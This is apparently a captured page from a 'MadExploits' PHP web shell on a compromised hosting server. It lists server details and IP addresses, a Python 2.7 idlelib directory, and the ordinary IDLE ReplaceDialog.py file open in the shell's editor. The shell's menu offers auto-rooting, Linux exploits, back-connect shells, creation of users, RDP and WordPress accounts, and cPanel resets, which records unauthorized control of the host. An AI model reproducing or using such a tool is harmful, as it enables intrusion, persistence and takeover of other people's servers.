Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
python27 /
lib64 /
python2.7 /
idlelib /
[ HOME SHELL ]
Name
Size
Permission
Action
Icons
[ DIR ]
drwxr-xr-x
idle_test
[ DIR ]
drwxr-xr-x
AutoComplete.py
8.75
KB
-rw-r--r--
AutoComplete.pyc
7.99
KB
-rw-r--r--
AutoComplete.pyo
7.99
KB
-rw-r--r--
AutoCompleteWindow.py
16.91
KB
-rw-r--r--
AutoCompleteWindow.pyc
12.42
KB
-rw-r--r--
AutoCompleteWindow.pyo
12.36
KB
-rw-r--r--
AutoExpand.py
3.32
KB
-rw-r--r--
AutoExpand.pyc
3.5
KB
-rw-r--r--
AutoExpand.pyo
3.5
KB
-rw-r--r--
Bindings.py
2.91
KB
-rw-r--r--
Bindings.pyc
4.6
KB
-rw-r--r--
Bindings.pyo
4.6
KB
-rw-r--r--
CREDITS.txt
1.82
KB
-rw-r--r--
CallTipWindow.py
5.92
KB
-rw-r--r--
CallTipWindow.pyc
6.14
KB
-rw-r--r--
CallTipWindow.pyo
6.14
KB
-rw-r--r--
CallTips.py
7.56
KB
-rw-r--r--
CallTips.pyc
8.16
KB
-rw-r--r--
CallTips.pyo
8.16
KB
-rw-r--r--
ChangeLog
55.07
KB
-rw-r--r--
ClassBrowser.py
6.83
KB
-rw-r--r--
ClassBrowser.pyc
9.66
KB
-rw-r--r--
ClassBrowser.pyo
9.66
KB
-rw-r--r--
CodeContext.py
8.15
KB
-rw-r--r--
CodeContext.pyc
6.63
KB
-rw-r--r--
CodeContext.pyo
6.59
KB
-rw-r--r--
ColorDelegator.py
9.53
KB
-rw-r--r--
ColorDelegator.pyc
8.91
KB
-rw-r--r--
ColorDelegator.pyo
8.91
KB
-rw-r--r--
Debugger.py
17.81
KB
-rw-r--r--
Debugger.pyc
17.72
KB
-rw-r--r--
Debugger.pyo
17.72
KB
-rw-r--r--
Delegator.py
665
B
-rw-r--r--
Delegator.pyc
1.31
KB
-rw-r--r--
Delegator.pyo
1.31
KB
-rw-r--r--
EditorWindow.py
63.96
KB
-rw-r--r--
EditorWindow.pyc
57.15
KB
-rw-r--r--
EditorWindow.pyo
57.05
KB
-rw-r--r--
FileList.py
3.63
KB
-rw-r--r--
FileList.pyc
4.07
KB
-rw-r--r--
FileList.pyo
4.04
KB
-rw-r--r--
FormatParagraph.py
7.12
KB
-rw-r--r--
FormatParagraph.pyc
7.14
KB
-rw-r--r--
FormatParagraph.pyo
7.14
KB
-rw-r--r--
GrepDialog.py
5.02
KB
-rw-r--r--
GrepDialog.pyc
6.45
KB
-rw-r--r--
GrepDialog.pyo
6.45
KB
-rw-r--r--
HISTORY.txt
10.08
KB
-rw-r--r--
HyperParser.py
10.25
KB
-rw-r--r--
HyperParser.pyc
6.64
KB
-rw-r--r--
HyperParser.pyo
6.64
KB
-rw-r--r--
IOBinding.py
21.4
KB
-rw-r--r--
IOBinding.pyc
18.62
KB
-rw-r--r--
IOBinding.pyo
18.62
KB
-rw-r--r--
IdleHistory.py
3.96
KB
-rw-r--r--
IdleHistory.pyc
4.05
KB
-rw-r--r--
IdleHistory.pyo
4.05
KB
-rw-r--r--
MultiCall.py
17.29
KB
-rw-r--r--
MultiCall.pyc
16.4
KB
-rw-r--r--
MultiCall.pyo
16.33
KB
-rw-r--r--
MultiStatusBar.py
1.32
KB
-rw-r--r--
MultiStatusBar.pyc
2.3
KB
-rw-r--r--
MultiStatusBar.pyo
2.3
KB
-rw-r--r--
NEWS.txt
46.14
KB
-rw-r--r--
ObjectBrowser.py
4.27
KB
-rw-r--r--
ObjectBrowser.pyc
7.26
KB
-rw-r--r--
ObjectBrowser.pyo
7.26
KB
-rw-r--r--
OutputWindow.py
4.47
KB
-rw-r--r--
OutputWindow.pyc
5.3
KB
-rw-r--r--
OutputWindow.pyo
5.3
KB
-rw-r--r--
ParenMatch.py
6.56
KB
-rw-r--r--
ParenMatch.pyc
7.18
KB
-rw-r--r--
ParenMatch.pyo
7.18
KB
-rw-r--r--
PathBrowser.py
2.94
KB
-rw-r--r--
PathBrowser.pyc
4.57
KB
-rw-r--r--
PathBrowser.pyo
4.57
KB
-rw-r--r--
Percolator.py
3.15
KB
-rw-r--r--
Percolator.pyc
4.69
KB
-rw-r--r--
Percolator.pyo
4.51
KB
-rw-r--r--
PyParse.py
19.05
KB
-rw-r--r--
PyParse.pyc
9.99
KB
-rw-r--r--
PyParse.pyo
9.56
KB
-rw-r--r--
PyShell.py
57.49
KB
-rwxr-xr-x
PyShell.pyc
53
KB
-rw-r--r--
PyShell.pyo
52.9
KB
-rw-r--r--
README.txt
7.71
KB
-rw-r--r--
RemoteDebugger.py
11.36
KB
-rw-r--r--
RemoteDebugger.pyc
16.73
KB
-rw-r--r--
RemoteDebugger.pyo
16.58
KB
-rw-r--r--
RemoteObjectBrowser.py
942
B
-rw-r--r--
RemoteObjectBrowser.pyc
2.23
KB
-rw-r--r--
RemoteObjectBrowser.pyo
2.23
KB
-rw-r--r--
ReplaceDialog.py
6.48
KB
-rw-r--r--
ReplaceDialog.pyc
7.83
KB
-rw-r--r--
ReplaceDialog.pyo
7.83
KB
-rw-r--r--
RstripExtension.py
1.03
KB
-rw-r--r--
RstripExtension.pyc
1.63
KB
-rw-r--r--
RstripExtension.pyo
1.63
KB
-rw-r--r--
ScriptBinding.py
8.26
KB
-rw-r--r--
ScriptBinding.pyc
8.17
KB
-rw-r--r--
ScriptBinding.pyo
8.17
KB
-rw-r--r--
ScrolledList.py
4.27
KB
-rw-r--r--
ScrolledList.pyc
6.61
KB
-rw-r--r--
ScrolledList.pyo
6.61
KB
-rw-r--r--
SearchDialog.py
2.57
KB
-rw-r--r--
SearchDialog.pyc
4.04
KB
-rw-r--r--
SearchDialog.pyo
4.04
KB
-rw-r--r--
SearchDialogBase.py
6.93
KB
-rw-r--r--
SearchDialogBase.pyc
8.43
KB
-rw-r--r--
SearchDialogBase.pyo
8.43
KB
-rw-r--r--
SearchEngine.py
7.29
KB
-rw-r--r--
SearchEngine.pyc
8.37
KB
-rw-r--r--
SearchEngine.pyo
8.37
KB
-rw-r--r--
StackViewer.py
4.33
KB
-rw-r--r--
StackViewer.pyc
6.52
KB
-rw-r--r--
StackViewer.pyo
6.52
KB
-rw-r--r--
TODO.txt
8.28
KB
-rw-r--r--
ToolTip.py
3.1
KB
-rw-r--r--
ToolTip.pyc
4.78
KB
-rw-r--r--
ToolTip.pyo
4.78
KB
-rw-r--r--
TreeWidget.py
14.68
KB
-rw-r--r--
TreeWidget.pyc
17.95
KB
-rw-r--r--
TreeWidget.pyo
17.95
KB
-rw-r--r--
UndoDelegator.py
10.53
KB
-rw-r--r--
UndoDelegator.pyc
13.88
KB
-rw-r--r--
UndoDelegator.pyo
13.88
KB
-rw-r--r--
WidgetRedirector.py
6.74
KB
-rw-r--r--
WidgetRedirector.pyc
7.76
KB
-rw-r--r--
WidgetRedirector.pyo
7.76
KB
-rw-r--r--
WindowList.py
2.42
KB
-rw-r--r--
WindowList.pyc
3.74
KB
-rw-r--r--
WindowList.pyo
3.74
KB
-rw-r--r--
ZoomHeight.py
1.27
KB
-rw-r--r--
ZoomHeight.pyc
1.67
KB
-rw-r--r--
ZoomHeight.pyo
1.67
KB
-rw-r--r--
__init__.py
288
B
-rw-r--r--
__init__.pyc
444
B
-rw-r--r--
__init__.pyo
444
B
-rw-r--r--
aboutDialog.py
6.85
KB
-rw-r--r--
aboutDialog.pyc
6.85
KB
-rw-r--r--
aboutDialog.pyo
6.85
KB
-rw-r--r--
config-extensions.def
2.9
KB
-rw-r--r--
config-highlight.def
2.46
KB
-rw-r--r--
config-keys.def
7.59
KB
-rw-r--r--
config-main.def
2.5
KB
-rw-r--r--
configDialog.py
64.41
KB
-rw-r--r--
configDialog.pyc
53.16
KB
-rw-r--r--
configDialog.pyo
53.16
KB
-rw-r--r--
configHandler.py
31.72
KB
-rw-r--r--
configHandler.pyc
29.28
KB
-rw-r--r--
configHandler.pyo
29.28
KB
-rw-r--r--
configHelpSourceEdit.py
6.53
KB
-rw-r--r--
configHelpSourceEdit.pyc
6.55
KB
-rw-r--r--
configHelpSourceEdit.pyo
6.55
KB
-rw-r--r--
configSectionNameDialog.py
3.95
KB
-rw-r--r--
configSectionNameDialog.pyc
4.4
KB
-rw-r--r--
configSectionNameDialog.pyo
4.4
KB
-rw-r--r--
dynOptionMenuWidget.py
1.94
KB
-rw-r--r--
dynOptionMenuWidget.pyc
2.8
KB
-rw-r--r--
dynOptionMenuWidget.pyo
2.8
KB
-rw-r--r--
extend.txt
3.56
KB
-rw-r--r--
help.html
41.42
KB
-rw-r--r--
help.py
10.78
KB
-rw-r--r--
help.pyc
12.25
KB
-rw-r--r--
help.pyo
12.25
KB
-rw-r--r--
help.txt
11.86
KB
-rw-r--r--
idle.py
453
B
-rw-r--r--
idle.pyc
423
B
-rw-r--r--
idle.pyo
423
B
-rw-r--r--
idle.pyw
563
B
-rw-r--r--
idlever.py
415
B
-rw-r--r--
idlever.pyc
591
B
-rw-r--r--
idlever.pyo
591
B
-rw-r--r--
keybindingDialog.py
12.18
KB
-rw-r--r--
keybindingDialog.pyc
12.08
KB
-rw-r--r--
keybindingDialog.pyo
12.08
KB
-rw-r--r--
macosxSupport.py
8.24
KB
-rw-r--r--
macosxSupport.pyc
8.38
KB
-rw-r--r--
macosxSupport.pyo
8.25
KB
-rw-r--r--
rpc.py
19.68
KB
-rw-r--r--
rpc.pyc
21.97
KB
-rw-r--r--
rpc.pyo
21.86
KB
-rw-r--r--
run.py
12.61
KB
-rw-r--r--
run.pyc
13.45
KB
-rw-r--r--
run.pyo
13.39
KB
-rw-r--r--
tabbedpages.py
18.01
KB
-rw-r--r--
tabbedpages.pyc
18.63
KB
-rw-r--r--
tabbedpages.pyo
18.63
KB
-rw-r--r--
textView.py
3.44
KB
-rw-r--r--
textView.pyc
4.02
KB
-rw-r--r--
textView.pyo
4.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReplaceDialog.py
from Tkinter import * from idlelib import SearchEngine from idlelib.SearchDialogBase import SearchDialogBase import re def replace(text): root = text._root() engine = SearchEngine.get(root) if not hasattr(engine, "_replacedialog"): engine._replacedialog = ReplaceDialog(root, engine) dialog = engine._replacedialog dialog.open(text) class ReplaceDialog(SearchDialogBase): title = "Replace Dialog" icon = "Replace" def __init__(self, root, engine): SearchDialogBase.__init__(self, root, engine) self.replvar = StringVar(root) def open(self, text): SearchDialogBase.open(self, text) try: first = text.index("sel.first") except TclError: first = None try: last = text.index("sel.last") except TclError: last = None first = first or text.index("insert") last = last or first self.show_hit(first, last) self.ok = 1 def create_entries(self): SearchDialogBase.create_entries(self) self.replent = self.make_entry("Replace with:", self.replvar)[0] def create_command_buttons(self): SearchDialogBase.create_command_buttons(self) self.make_button("Find", self.find_it) self.make_button("Replace", self.replace_it) self.make_button("Replace+Find", self.default_command, 1) self.make_button("Replace All", self.replace_all) def find_it(self, event=None): self.do_find(0) def replace_it(self, event=None): if self.do_find(self.ok): self.do_replace() def default_command(self, event=None): if self.do_find(self.ok): if self.do_replace(): # Only find next match if replace succeeded. # A bad re can cause it to fail. self.do_find(0) def _replace_expand(self, m, repl): """ Helper function for expanding a regular expression in the replace field, if needed. """ if self.engine.isre(): try: new = m.expand(repl) except re.error: self.engine.report_error(repl, 'Invalid Replace Expression') new = None else: new = repl return new def replace_all(self, event=None): prog = self.engine.getprog() if not prog: return repl = self.replvar.get() text = self.text res = self.engine.search_text(text, prog) if not res: text.bell() return text.tag_remove("sel", "1.0", "end") text.tag_remove("hit", "1.0", "end") line = res[0] col = res[1].start() if self.engine.iswrap(): line = 1 col = 0 ok = 1 first = last = None # XXX ought to replace circular instead of top-to-bottom when wrapping text.undo_block_start() while 1: res = self.engine.search_forward(text, prog, line, col, 0, ok) if not res: break line, m = res chars = text.get("%d.0" % line, "%d.0" % (line+1)) orig = m.group() new = self._replace_expand(m, repl) if new is None: break i, j = m.span() first = "%d.%d" % (line, i) last = "%d.%d" % (line, j) if new == orig: text.mark_set("insert", last) else: text.mark_set("insert", first) if first != last: text.delete(first, last) if new: text.insert(first, new) col = i + len(new) ok = 0 text.undo_block_stop() if first and last: self.show_hit(first, last) self.close() def do_find(self, ok=0): if not self.engine.getprog(): return False text = self.text res = self.engine.search_text(text, None, ok) if not res: text.bell() return False line, m = res i, j = m.span() first = "%d.%d" % (line, i) last = "%d.%d" % (line, j) self.show_hit(first, last) self.ok = 1 return True def do_replace(self): prog = self.engine.getprog() if not prog: return False text = self.text try: first = pos = text.index("sel.first") last = text.index("sel.last") except TclError: pos = None if not pos: first = last = pos = text.index("insert") line, col = SearchEngine.get_line_col(pos) chars = text.get("%d.0" % line, "%d.0" % (line+1)) m = prog.match(chars, col) if not prog: return False new = self._replace_expand(m, self.replvar.get()) if new is None: return False text.mark_set("insert", first) text.undo_block_start() if m.group(): text.delete(first, last) if new: text.insert(first, new) text.undo_block_stop() self.show_hit(first, text.index("insert")) self.ok = 0 return True def show_hit(self, first, last): text = self.text text.mark_set("insert", first) text.tag_remove("sel", "1.0", "end") text.tag_add("sel", first, last) text.tag_remove("hit", "1.0", "end") if first == last: text.tag_add("hit", first) else: text.tag_add("hit", first, last) text.see("insert") text.update_idletasks() def close(self, event=None): SearchDialogBase.close(self, event) self.text.tag_remove("hit", "1.0", "end") def _replace_dialog(parent): root = Tk() root.title("Test ReplaceDialog") width, height, x, y = list(map(int, re.split('[x+]', parent.geometry()))) root.geometry("+%d+%d"%(x, y + 150)) # mock undo delegator methods def undo_block_start(): pass def undo_block_stop(): pass text = Text(root) text.undo_block_start = undo_block_start text.undo_block_stop = undo_block_stop text.pack() text.insert("insert","This is a sample string.\n"*10) def show_replace(): text.tag_add(SEL, "1.0", END) replace(text) text.tag_remove(SEL, "1.0", END) button = Button(root, text="Replace", command=show_replace) button.pack() if __name__ == '__main__': from idlelib.idle_test.htest import run run(_replace_dialog)
Close